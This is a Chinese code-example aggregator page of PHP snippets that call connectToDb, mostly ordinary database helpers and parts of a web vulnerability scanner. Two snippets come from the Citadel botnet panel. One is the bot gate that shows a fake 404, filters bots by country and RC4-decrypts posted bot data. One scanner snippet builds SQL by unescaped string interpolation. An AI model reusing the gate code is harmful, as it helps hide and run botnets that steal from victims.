当前位置: 首页>>代码示例>>PHP>>正文


PHP connectToDb函数代码示例

本文整理汇总了PHP中connectToDb函数的典型用法代码示例。如果您正苦于以下问题:PHP connectToDb函数的具体用法?PHP connectToDb怎么用?PHP connectToDb使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了connectToDb函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: connect

 static function connect()
 {
     if (empty($_SESSION['db-connect'])) {
         return;
     }
     $conn =& $GLOBALS['config']['db-connect'][$_SESSION['db-connect']];
     if (empty($conn)) {
         return;
     }
     # Close the previous connection
     @mysql_close();
     # Attempt to connect
     $purl = parse_url($conn);
     $l = mysql_connect($purl['host'] . ':' . $purl['port'], $purl['user'], $purl['pass'], true);
     $ok = $l !== FALSE;
     if ($ok) {
         $ok = (bool) mysql_select_db(trim($purl['path'], '/'), $l);
     }
     if ($ok) {
         $ok = (bool) mysql_query('SET NAMES "' . MYSQL_CODEPAGE . '" COLLATE "' . MYSQL_COLLATE . '";', $l);
     }
     if (!$ok) {
         flashmsg('err', 'Citadel Connect: ":conn" failed! Error: ":error". Using the default connection instead', array(':conn' => $conn, ':error' => mysql_error($l)));
         mysql_close($l);
         connectToDb();
         return;
     }
     # Warn
     flashmsg('info', 'Citadel Connect: Using ":db"', array(':db' => $_SESSION['db-connect']));
 }
开发者ID:CCrashBandicot,项目名称:Citadel_1.3.5.1,代码行数:30,代码来源:reports_db-connect.php

示例2: checkCookie

 function checkCookie($input, $ipaddress)
 {
     global $salt;
     connectToDb();
     /*$input comes in the following format userId-passwordhash
     		
     		/*Validate that the cookie hash meets the following criteria:
     			Cookie Ip: matches $ipaddres;
     			Cookie Timeout: Is still greater then the current time();
     			Cookie Secret: matches the mysql database secret;
     		*/
     //Split cookie into 2 mmmmm!
     $cookieInfo = explode("-", $input);
     $validCookie = false;
     //Get "secret" from MySql database
     $tempId = mysql_real_escape_string($cookieInfo[0]);
     if (!is_numeric($tempId)) {
         $tempId = 0;
         return false;
     }
     $getSecretQ = mysql_query("SELECT secret, pass, sessionTimeoutStamp FROM webUsers WHERE id = {$tempId} LIMIT 0,1");
     if ($getSecret = mysql_fetch_object($getSecretQ)) {
         $password = $getSecret->pass;
         $secret = $getSecret->secret;
         $timeoutStamp = $getSecret->sessionTimeoutStamp;
         //Create a variable to test the cookie hash against
         $hashTest = hash("sha256", $secret . $password . $ipaddress . $timeoutStamp . $salt);
         //Test if $hashTest = $cookieInfo[1] hash value; return results
         if ($hashTest == $cookieInfo[1]) {
             $validCookie = true;
         }
     }
     return $validCookie;
 }
开发者ID:neofutur,项目名称:simplecoin,代码行数:34,代码来源:requiredFunctions.php

示例3: editQuery

function editQuery($query, $params)
{
    $db = connectToDb();
    $statement = $db->prepare($query);
    $statement->execute($params);
    return $db->lastInsertId();
}
开发者ID:Vesihiisi,项目名称:bookmarker,代码行数:7,代码来源:base.php

示例4: insertZones

function insertZones($array)
{
    for ($i = 0; $i < count($array); ++$i) {
        $zoneID = $array[$i]["id"];
        $sql = "SELECT * FROM zones WHERE id=? LIMIT 1";
        $params = [$zoneID];
        $res = getFromDb($sql, $params);
        if (count($res) == 0) {
            $id = $zoneID;
            $name = $array[$i]["name"];
            $region = $array[$i]["region"]["id"];
            $totalTakeovers = $array[$i]["totalTakeovers"];
            $takeoverPoints = $array[$i]["takeoverPoints"];
            $pointsPerHour = $array[$i]["pointsPerHour"];
            $dateCreated = $array[$i]["dateCreated"];
            $longitude = $array[$i]["longitude"];
            $latitude = $array[$i]["latitude"];
            $params = [$id, $name, $region, $totalTakeovers, $takeoverPoints, $pointsPerHour, $dateCreated, $longitude, $latitude];
            $db = connectToDb(DATABASE);
            $query = "INSERT INTO zones VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?);";
            $stmt = $db->prepare($query);
            $stmt->execute($params);
        }
    }
}
开发者ID:Vesihiisi,项目名称:zoner,代码行数:25,代码来源:addNewZones.php

示例5: getFromDb

function getFromDb($query, $params)
{
    $db = connectToDb(DATABASE);
    $stmt = $db->prepare($query);
    $stmt->execute($params);
    $res = $stmt->fetchAll(PDO::FETCH_ASSOC);
    return $res;
}
开发者ID:Vesihiisi,项目名称:zoner,代码行数:8,代码来源:utils.php

示例6: getListZips

function getListZips()
{
    $database = connectToDb();
    if (!$database) {
        return false;
    }
    $result = executeCommand($database, "getListOfZips", NULL);
    if (!$result) {
        return false;
    } else {
        return $result;
    }
}
开发者ID:serradino,项目名称:tinnitushunt,代码行数:13,代码来源:handlerDb.php

示例7: testDirectObjectRefs

function testDirectObjectRefs($arrayOfURLs, $testId)
{
    connectToDb($db);
    updateStatus($db, "Testing all URLs for Insecure Direct Object References...", $testId);
    $log = new Logger();
    $log->lfile('logs/eventlogs');
    $log->lwrite("Identifying which URLs have parameters");
    $log->lwrite("All URLs found during crawl:");
    $urlsWithParameters = array();
    foreach ($arrayOfURLs as $currentUrl) {
        $log->lwrite($currentUrl);
        if (strpos($currentUrl, "?")) {
            array_push($urlsWithParameters, $currentUrl);
        }
    }
    $log->lwrite("URLs with parameters:");
    foreach ($urlsWithParameters as $currentUrl) {
        $log->lwrite($currentUrl);
    }
    $log->lwrite("Testing each URL that has parameters");
    foreach ($urlsWithParameters as $currentUrl) {
        $parsedUrl = parse_url($currentUrl);
        if ($parsedUrl) {
            $query = $parsedUrl['query'];
            $parameters = array();
            parse_str($query, $parameters);
            foreach ($parameters as $para) {
                if (preg_match('/\\.([^\\.]+)$/', $para)) {
                    //Check if this vulnerability has already been found and added to DB. If it hasn't, add it to DB.
                    $tableName = 'test' . $testId;
                    $query = "SELECT * FROM test_results WHERE test_id = {$testId} AND type = 'idor' AND method = 'get' AND url = '{$currentUrl}' AND attack_str = '{$para}'";
                    $result = $db->query($query);
                    if (!$result) {
                        $log->lwrite("Could not execute query {$query}");
                    } else {
                        $log->lwrite("Successfully executed query {$query}");
                        $numRows = $result->num_rows;
                        if ($numRows == 0) {
                            $log->lwrite("Number of rows is {$numRows} for query: {$query}");
                            insertTestResult($db, $testId, 'idor', 'get', $currentUrl, $para);
                        }
                    }
                }
            }
        } else {
            $log->lwrite("Could not parse malformed URL: {$currentUrl}");
        }
    }
}
开发者ID:3nj0y,项目名称:webvulscan,代码行数:49,代码来源:testDirectObjectRefs.php

示例8: emailPdfToUser

function emailPdfToUser($fileName, $username, $email, $testId)
{
    connectToDb($db);
    updateStatus($db, "Emailing PDF report to {$email}...", $testId);
    $log = new Logger();
    $log->lfile('logs/eventlogs');
    $log->lwrite("Starting email PDF function for test: {$testId}");
    if (file_exists($fileName)) {
        $log->lwrite("File: {$fileName} exists");
        $fileatt = $fileName;
        // Path to the file
        $fileatt_type = "application/pdf";
        // File Type
        $fileatt_name = 'Test_' . $testId . '.pdf';
        // Filename that will be used for the file as the attachment
        $email_from = "webvulscan@gmail.com";
        // Who the email is from, don't think this does anything
        $email_subject = "WebVulScan Detailed Report";
        // The Subject of the email
        $email_message = "Hello {$username},<br><br>";
        $email_message .= 'Thank you for scanning with WebVulScan. Please find the scan results attached in the PDF report.<br><br>';
        $email_message .= 'Please reply to this email if you have any questions.<br><br>';
        $email_message .= 'Kind Regards,<br><br>';
        $email_message .= 'WebVulScan Team<br>';
        $email_to = $email;
        // Who the email is to
        $headers = "From: " . $email_from;
        $file = fopen($fileatt, 'rb');
        $data = fread($file, filesize($fileatt));
        fclose($file);
        $semi_rand = md5(time());
        $mime_boundary = "==Multipart_Boundary_x{$semi_rand}x";
        $headers .= "\nMIME-Version: 1.0\n" . "Content-Type: multipart/mixed;\n" . " boundary=\"{$mime_boundary}\"";
        $email_message .= "This is a multi-part message in MIME format.\n\n" . "--{$mime_boundary}\n" . "Content-Type:text/html; charset=\"iso-8859-1\"\n" . "Content-Transfer-Encoding: 7bit\n\n" . ($email_message .= "\n\n");
        $data = chunk_split(base64_encode($data));
        $email_message .= "--{$mime_boundary}\n" . "Content-Type: {$fileatt_type};\n" . " name=\"{$fileatt_name}\"\n" . "Content-Transfer-Encoding: base64\n\n" . ($data .= "\n\n" . "--{$mime_boundary}--\n");
        $mailSent = mail($email_to, $email_subject, $email_message, $headers);
        if ($mailSent) {
            $log->lwrite("{$fileName} successfully sent to {$email}");
        } else {
            $log->lwrite("There was a problem sending {$fileName} to {$email}");
        }
    } else {
        $log->lwrite("File: {$fileName} does not exist");
    }
}
开发者ID:3nj0y,项目名称:webvulscan,代码行数:46,代码来源:emailPdfToUser.php

示例9: handlePageData

 function handlePageData(&$page_data)
 {
     array_push($this->urlsFound, $page_data["url"]);
     if ($this->firstCrawl) {
         $testId = $this->testId;
         $newUrl = $page_data['url'];
         $query = "UPDATE tests SET status = 'Found URL {$newUrl}' WHERE id = {$testId};";
         if (connectToDb($db)) {
             $db->query($query);
             $query = "UPDATE tests SET numUrlsFound = numUrlsFound + 1 WHERE id = {$testId};";
             $db->query($query);
             $query = "UPDATE tests SET urls_found=CONCAT(urls_found,'{$newUrl}<br>') WHERE id = {$testId};";
             //Nearly doubles the duration of the crawl
             $db->query($query);
         }
     }
 }
开发者ID:3nj0y,项目名称:webvulscan,代码行数:17,代码来源:mycrawler.php

示例10: fileUploadComplete

function fileUploadComplete($filename = null)
{
    if ($filename == null) {
        die("Error: No filename for file upload");
    }
    $conn = connectToDb();
    try {
        //Prepare SQL and bind parameters for insert
        $stmt = $conn->prepare("INSERT INTO Uploaded_Files (filename)\n\t\t\t\t\t\t\t\tVALUES (:filename)");
        $stmt->bindParam(':filename', $filename);
        $stmt->execute();
        return $conn->insert_id;
    } catch (PDOException $e) {
        die("Exception in SQL INSERT: " . $e);
    }
    closeDb();
}
开发者ID:supergoose,项目名称:hubub,代码行数:17,代码来源:file_upload_sql.php

示例11: file_get_html

function file_get_html($url, $testId, $use_include_path = false, $context = null, $offset = -1, $maxLen = -1, $lowercase = true, $forceTagsClosed = true, $target_charset = DEFAULT_TARGET_CHARSET, $stripRN = true, $defaultBRText = DEFAULT_BR_TEXT)
{
    connectToDb($db);
    if ($db) {
        incrementHttpRequests($db, $testId);
    }
    // We DO force the tags to be terminated.
    $dom = new simple_html_dom(null, $lowercase, $forceTagsClosed, $target_charset, $defaultBRText);
    // For sourceforge users: uncomment the next line and comment the retreive_url_contents line 2 lines down if it is not already done.
    $contents = file_get_contents($url, $use_include_path, $context, $offset);
    // Paperg - use our own mechanism for getting the contents as we want to control the timeout.
    //    $contents = retrieve_url_contents($url);
    if (empty($contents)) {
        return false;
    }
    // The second parameter can force the selectors to all be lowercase.
    $dom->load($contents, $lowercase, $stripRN);
    return $dom;
}
开发者ID:3nj0y,项目名称:webvulscan,代码行数:19,代码来源:simple_html_dom.php

示例12: updateZones

function updateZones($array)
{
    $time_start = microtime(true);
    for ($i = 0; $i < count($array); ++$i) {
        $id = $array[$i]["id"];
        $name = $array[$i]["name"];
        $region = $array[$i]["region"]["id"];
        $totalTakeovers = $array[$i]["totalTakeovers"];
        $takeoverPoints = $array[$i]["takeoverPoints"];
        $pointsPerHour = $array[$i]["pointsPerHour"];
        $longitude = $array[$i]["longitude"];
        $latitude = $array[$i]["latitude"];
        $db = connectToDb(DATABASE);
        $query = "UPDATE zones SET name = ?, region = ?, totalTakeovers = ?, takeoverPoints = ?, pointsPerHour = ?, longitude = ?, latitude = ? WHERE id = ?";
        $params = [$name, $region, $totalTakeovers, $takeoverPoints, $pointsPerHour, $longitude, $latitude, $id];
        $stmt = $db->prepare($query);
        $stmt->execute($params);
    }
    $time_end = microtime(true);
    $execution_time = $time_end - $time_start;
    echo 'Total Execution Time: ' . $execution_time;
}
开发者ID:Vesihiisi,项目名称:zoner,代码行数:22,代码来源:updateZones.php

示例13: insertRegions

function insertRegions($array)
{
    for ($i = 0; $i < count($array); ++$i) {
        $regionID = $array[$i]["id"];
        $sql = "SELECT * FROM regions WHERE regionID=? LIMIT 1";
        $params = [$regionID];
        $res = getFromDb($sql, $params);
        if (count($res) == 0) {
            $regionName = $array[$i]["name"];
            if (array_key_exists("country", $array[$i])) {
                $country = $array[$i]["country"];
            } else {
                $country = null;
            }
            $params = [$regionID, $regionName, $country];
            $db = connectToDb(DATABASE);
            $query = "INSERT INTO regions VALUES (?, ?, ?)";
            $stmt = $db->prepare($query);
            $stmt->execute($params);
        }
    }
}
开发者ID:Vesihiisi,项目名称:zoner,代码行数:22,代码来源:getzones.php

示例14: die

        @header('Status: 404 Not Found');
    } else {
        @header($_SERVER['SERVER_PROTOCOL'] . ' 404 Not Found');
    }
    die($text);
}
if (file_exists('system/gate/gate.plugin.404.php')) {
    require 'system/gate/gate.plugin.404.php';
}
if (@$_SERVER['REQUEST_METHOD'] !== 'POST') {
    die(function_exists('e404plugin_display') ? e404plugin_display() : die404('Not found'));
}
/* plugin: 404 */
if (function_exists('e404plugin_display') && !empty($config['allowed_countries_enabled'])) {
    # Analize IPv4 & Ban if needed
    if (connectToDb()) {
        $realIpv4 = trim(!empty($_GET['ip']) ? $_GET['ip'] : $_SERVER['REMOTE_ADDR']);
        $country = ipv4toc($realIpv4);
        if (!e404plugin_check($country)) {
            die;
        }
    }
}
//Получаем данные.
$data = @file_get_contents('php://input');
$dataSize = @strlen($data);
if ($dataSize < HEADER_SIZE + ITEM_HEADER_SIZE) {
    die404();
}
if ($dataSize < BOTCRYPT_MAX_SIZE) {
    rc4($data, $config['botnet_cryptkey_bin']);
开发者ID:CCrashBandicot,项目名称:Citadel_1.3.5.1,代码行数:31,代码来源:file.php

示例15: SendRequest

 function SendRequest($arguments)
 {
     connectToDb(&$db);
     if ($db) {
         incrementHttpRequests($db, $this->testId);
     }
     //fsockopen is called in receivePage below so increment HTTP requests sent
     if (strlen($this->error)) {
         return $this->error;
     }
     if (isset($arguments["ProxyUser"])) {
         $this->proxy_request_user = $arguments["ProxyUser"];
     } elseif (isset($this->proxy_user)) {
         $this->proxy_request_user = $this->proxy_user;
     }
     if (isset($arguments["ProxyPassword"])) {
         $this->proxy_request_password = $arguments["ProxyPassword"];
     } elseif (isset($this->proxy_password)) {
         $this->proxy_request_password = $this->proxy_password;
     }
     if (isset($arguments["ProxyRealm"])) {
         $this->proxy_request_realm = $arguments["ProxyRealm"];
     } elseif (isset($this->proxy_realm)) {
         $this->proxy_request_realm = $this->proxy_realm;
     }
     if (isset($arguments["ProxyWorkstation"])) {
         $this->proxy_request_workstation = $arguments["ProxyWorkstation"];
     } elseif (isset($this->proxy_workstation)) {
         $this->proxy_request_workstation = $this->proxy_workstation;
     }
     switch ($this->state) {
         case "Disconnected":
             return $this->SetError("1 connection was not yet established");
         case "Connected":
             $connect = 0;
             break;
         case "ConnectedToProxy":
             if (strlen($error = $this->ConnectFromProxy($arguments, $headers))) {
                 return $error;
             }
             $connect = 1;
             break;
         default:
             return $this->SetError("2 can not send request in the current connection state");
     }
     if (isset($arguments["RequestMethod"])) {
         $this->request_method = $arguments["RequestMethod"];
     }
     if (isset($arguments["User-Agent"])) {
         $this->user_agent = $arguments["User-Agent"];
     }
     if (!isset($arguments["Headers"]["User-Agent"]) && strlen($this->user_agent)) {
         $arguments["Headers"]["User-Agent"] = $this->user_agent;
     }
     if (isset($arguments["KeepAlive"])) {
         $this->keep_alive = intval($arguments["KeepAlive"]);
     }
     if (!isset($arguments["Headers"]["Connection"]) && $this->keep_alive) {
         $arguments["Headers"]["Connection"] = 'Keep-Alive';
     }
     if (isset($arguments["Accept"])) {
         $this->user_agent = $arguments["Accept"];
     }
     if (!isset($arguments["Headers"]["Accept"]) && strlen($this->accept)) {
         $arguments["Headers"]["Accept"] = $this->accept;
     }
     if (strlen($this->request_method) == 0) {
         return $this->SetError("3 it was not specified a valid request method");
     }
     if (isset($arguments["RequestURI"])) {
         $this->request_uri = $arguments["RequestURI"];
     }
     if (strlen($this->request_uri) == 0 || substr($this->request_uri, 0, 1) != "/") {
         return $this->SetError("4 it was not specified a valid request URI");
     }
     $this->request_arguments = $arguments;
     $this->request_headers = isset($arguments["Headers"]) ? $arguments["Headers"] : array();
     $body_length = 0;
     $this->request_body = "";
     $get_body = 1;
     if ($this->request_method == "POST" || $this->request_method == "PUT") {
         if (isset($arguments['StreamRequest'])) {
             $get_body = 0;
             $this->request_headers["Transfer-Encoding"] = "chunked";
         } elseif (isset($arguments["PostFiles"]) || $this->force_multipart_form_post && isset($arguments["PostValues"])) {
             $boundary = "--" . md5(uniqid(time()));
             $this->request_headers["Content-Type"] = "multipart/form-data; boundary=" . $boundary . (isset($arguments["CharSet"]) ? "; charset=" . $arguments["CharSet"] : "");
             $post_parts = array();
             if (isset($arguments["PostValues"])) {
                 $values = $arguments["PostValues"];
                 if (GetType($values) != "array") {
                     return $this->SetError("5 it was not specified a valid POST method values array");
                 }
                 for (Reset($values), $value = 0; $value < count($values); Next($values), $value++) {
                     $input = Key($values);
                     $headers = "--" . $boundary . "\r\nContent-Disposition: form-data; name=\"" . $input . "\"\r\n\r\n";
                     $data = $values[$input];
                     $post_parts[] = array("HEADERS" => $headers, "DATA" => $data);
                     $body_length += strlen($headers) + strlen($data) + strlen("\r\n");
                 }
//.........这里部分代码省略.........
开发者ID:3nj0y,项目名称:webvulscan,代码行数:101,代码来源:http.php


注:本文中的connectToDb函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。